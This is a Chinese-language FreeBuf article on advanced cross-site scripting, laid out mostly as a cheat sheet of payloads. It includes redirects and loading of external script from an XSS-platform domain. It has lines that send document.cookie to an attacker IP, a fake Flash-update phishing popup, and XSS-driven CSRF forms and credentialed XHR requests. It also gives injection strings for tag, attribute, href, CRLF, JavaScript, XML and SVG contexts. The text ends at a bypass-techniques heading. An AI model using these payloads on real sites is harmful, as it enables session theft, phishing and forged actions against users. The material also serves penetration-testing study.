珂技系列之一篇就够了——XSS进阶 - FreeBuf网络安全行业门户

约 44 分钟读完

在没有限制的情况下,xss=html+JavaScript。凡是js+html能做的,xss都能做。
弹窗吓唬人,也是最常用的测试手段

<script>alert("你的电脑中病毒了")</script>
<script>prompt(2)</script>
<script>confirm(3)</script>

有时候不能弹窗,也可以变相用其他简单dom证明。

<script>console.log(3)</script>
<script>document.write(1)</script>

网页跳转,等同于任意url跳转

<script>window.location.href="https://www.baidu.com"</script>
<meta content="1;http://www.baidu.com/" http-equiv="refresh">

引入外部js,引入外部js是图方便或者有长度限制,是手段而不是目的。有时候因此需要短域名。

<script src=//z.cn></script>
<img src onerror=appendChild(createElement("script")).src="//xsshs.cn/aaaa">
<img src onerror=jQuery.getScript("//xsshs.cn/aaaa")>

盗取cookie,最常用手段,注意URL中+变成%2B

<script>window.location.href="http://2.2.2.2/?msg="+escape(document.cookie)</script>
<script>var img=document.createElement("img");img.src="http://2.2.2.2/?msg="+escape(document.cookie);document.body.appendChild(img);</script>

盗取其他信息,由于会访问一次xss平台服务器(攻击者服务器),所以可以顺便收集ip,user-agent,referer这些信息。

flash钓鱼,结合弹窗和url跳转进行钓鱼

<script>alert("您的flash版本过低,请更新您的flash版本"); window.location.href ="https://www.flash.cn/cdm/latest/flashplayer_install_cn.exe"</script>

用xss触发CSRF,论坛中可用来制作XSS蠕虫
GET

<img src="./pay.php?id=test">

POST

<form action="./index.php" method="POST">
<input type="hidden" name="id" value="1" />
</form>
<script> 
document.forms[0].submit();
</script>

JSON/POST

<html>
    <body class="hljs-string">"cors()">
        </div>
        <script>
            function cors() {
            var xhr = new XMLHttpRequest();
            payload = '{"id":"1"}';
            xhr.open("POST","./json.php", true);
            xhr.withCredentials = true;
            xhr.setRequestHeader("Content-type","application/json; charset=utf-8");
            xhr.send(payload);
            }
        </script>
    </body>
</html>
<script src="https://www.w3school.com.cn/jquery/jquery-1.11.1.min.js"></script>
<script>
$.ajax({
type:"POST",
dataType:"json",
contentType:"application/json",
url:"/json.php",
crossDomain:false,
data:'{"id":1}',
});
</script>

二、 不同位置的XSS利用方式

标签外

name=<script>alert(1)</script>

标签内

name="><script>alert(1)</script>
name=1" id=javascript:alert(1) autofocus onfocus=location=this.id xx

href中

name=javascript:alert(1)

CRLF

name=%0d%0a%0d%0a<script>alert(1)</script>

js中

name=</script><script>alert(1)</script>
name=';alert(1);//
name=';alert(1);'
name='-alert(1)-'
name=';};alert(1);function a(){a='

xml

&lt;?xml version="1.0"?&gt;<br>&lt;a xmlns:a='http://www.w3.org/1999/xhtml'&gt;<br>&lt;a:body onload='alert(/XSS/)'&gt;&lt;/a&gt;
&lt;?xml version="1.0"?&gt;
&lt;html:html xmlns:html='http://www.w3.org/1999/xhtml'&gt;
&lt;html:script&gt;alert(1);&lt;/html:script&gt;&lt;/html:html&gt;

svg

&lt;?xml version="1.0" encoding="UTF-8" standalone="no"?&gt;
&lt;!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"&gt;
&lt;svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve"&gt; &nbsp;&lt;image id="image0" width="751" height="751" x="0" y="0"
&nbsp; &nbsp; href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" /&gt;
&lt;script&gt;alert(1)&lt;/script&gt;
&lt;/svg&gt;

三、 XSS绕过相关

← Java反序列化漏洞原理研究 HW蓝高面试题1 →